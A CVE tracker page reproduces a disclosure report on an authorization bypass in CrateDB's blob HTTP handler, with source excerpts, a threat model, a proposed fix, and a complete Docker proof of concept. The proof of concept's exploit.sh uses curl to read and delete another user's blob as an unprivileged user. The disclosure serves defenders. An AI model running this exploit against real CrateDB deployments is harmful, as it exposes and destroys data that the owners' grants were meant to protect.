CVE-2026-49989

LOWPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

CrateDB's Blob HTTP handler bypasses authorization

Component: io.crate.protocols.http.HttpBlobHandler Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.


Summary

CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob. and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.

The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/.

Where it lives

server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:

// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
    if (possibleRedirect(index, digest)) {
        return;
    }

if (method.equals(HttpMethod.GET)) { get(index, digest); reset(); } else if (method.equals(HttpMethod.HEAD)) { head(index, digest); } else if (method.equals(HttpMethod.PUT)) { put(content, index, digest); } else if (method.equals(HttpMethod.DELETE)) { delete(index, digest); } else { simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED); } }

No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:

// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
    if (range != null) {
        partialContentResponse(index, digest);
    } else {
        fullContentResponse(index, digest);
    }
}

grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.

The APIs that should be called here, used by the SQL path before every statement is dispatched:

  • server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))
  • server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)

Threat model

Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs// is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.

| Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |

Digest secrecy is not a documented security boundary.

Reproduction

End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.

./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:

  • Admin uploads a blob via PUT /_blobs/.... Success (201).
  • Admin reads via SQL. Success.
  • Unprivileged user reads via SQL. Denied (correct, this is what we want).
  • Unprivileged user reads via GET /_blobs/.... 200 OK plus the blob payload (the bug).
  • Unprivileged user deletes via DELETE /_blobs/.... 204 No Content (the bug, again).
  • Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.

Sample output from a real run:

=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR:  Schema 'blob' unknown ...

=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP === [FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS [INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin

=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE === [FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS

PoC files

docker-compose.yml

services:
  cratedb:
    image: crate:6.2.7
    ports:
  • "4200:4200"
  • "5432:5432"
command: > crate -Cnetwork.host=0.0.0.0 -Cdiscovery.type=single-node -Cauth.host_based.enabled=true -Cauth.host_based.config.0.user=crate -Cauth.host_based.config.0.method=trust -Cauth.host_based.config.99.method=password -Cblobs.path=/data/blobs environment:
  • CRATE_HEAP_SIZE=512m
healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"] interval: 5s timeout: 5s retries: 12

HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.

setup.sql

-- Create the blob table
CREATE BLOB TABLE secret_blobs;

-- Create admin user with full access CREATE USER admin WITH (password = 'adminpass'); GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;

-- Create unprivileged user with NO access to the blob table CREATE USER unprivileged WITH (password = 'unpriv123'); -- Intentionally no GRANT for unprivileged user

exploit.sh

#!/usr/bin/env bash
set -euo pipefail

CRATE_HTTP="http://localhost:4200" BLOB_TABLE="secret_blobs" BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"

RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m'

header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; } pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; } fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; } info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

sql_as() { local user="$1" pass="$2" query="$3" PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1 }

---------------------------------------------------------------------------

header "Step 1: Upload a blob as admin via HTTP"

---------------------------------------------------------------------------

DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}') info "Blob SHA1 digest: $DIGEST"

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u admin:adminpass \ -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \ -d "$BLOB_CONTENT")

if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)" else fail "Admin blob upload returned HTTP $HTTP_CODE" exit 1 fi

---------------------------------------------------------------------------

header "Step 2: Admin CAN read blob metadata via SQL (expected)"

---------------------------------------------------------------------------

RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1") if [[ -n "$RESULT" ]]; then pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT" else fail "Admin SQL query returned no results" fi

---------------------------------------------------------------------------

header "Step 3: Unprivileged user CANNOT read via SQL (expected)"

---------------------------------------------------------------------------

RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true) if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then pass "Unprivileged user correctly denied SQL access" info "Server response: $(echo "$RESULT" | head -1)" else fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT" fi

---------------------------------------------------------------------------

header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"

---------------------------------------------------------------------------

HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \ -u unprivileged:unpriv123 \ "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

BODY=$(cat /tmp/blob_out)

if [[ "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" info "Retrieved content: ${BODY}" else pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)" fi

---------------------------------------------------------------------------

header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"

---------------------------------------------------------------------------

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -u unprivileged:unpriv123 \ -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS" else pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)" fi

---------------------------------------------------------------------------

header "Step 6: Confirm blob is gone (admin perspective)"

---------------------------------------------------------------------------

RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'") if [[ "$RESULT" == "0" ]]; then fail "Blob confirmed deleted -- unprivileged user destroyed admin's data" else info "Blob still exists (count=$RESULT)" fi

run.sh

#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"

RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m'

info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

Pick whichever Compose CLI is available (docker compose v2 vs legacy

docker-compose binary). Both are common in the wild.

if docker compose version >/dev/null 2>&1; then DC=(docker compose) elif command -v docker-compose >/dev/null 2>&1; then DC=(docker-compose) else echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2 exit 2 fi

cleanup() { info "Stopping containers..." "${DC[@]}" down -v 2>/dev/null || true } trap cleanup EXIT

info "Starting CrateDB with authentication enabled..." "${DC[@]}" up -d

info "Waiting for CrateDB to become healthy..." for i in $(seq 1 60); do if curl -sf http://localhost:4200/ > /dev/null 2>&1; then break fi sleep 1 done

Verify CrateDB is actually ready for SQL connections

for i in $(seq 1 30); do if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then break fi sleep 1 done

info "Running setup SQL as superuser (crate)..." PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql

Give CrateDB a moment to propagate user/privilege changes

sleep 2

info "Running exploit..." echo "" bash exploit.sh

Fixing

Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.

| HTTP verb | SQL equivalent | Required privilege on blob. | |---|---|---| | GET / HEAD | SELECT | DQL | | PUT | INSERT / UPDATE | DML | | DELETE | DELETE | DML |

Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).

Notes

Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.

CVSS v3
EG Score
0.0(none)
EPSS
KEV
Not listed

Published

July 1, 2026

Last Modified

July 1, 2026

Vendor Advisories for CVE-2026-49989(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-01 20:02 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-49989?
CVE-2026-49989 is a low vulnerability published on July 1, 2026. CrateDB's Blob HTTP handler bypasses authorization Component: io.crate.protocols.http.HttpBlobHandler Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) Impact: any authenticated user can read or delete any blob whose…
When was CVE-2026-49989 disclosed?
CVE-2026-49989 was first published in the National Vulnerability Database on July 1, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
How do I remediate CVE-2026-49989?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-49989, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-49989

Explore →

Is Your Infrastructure Affected by CVE-2026-49989?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.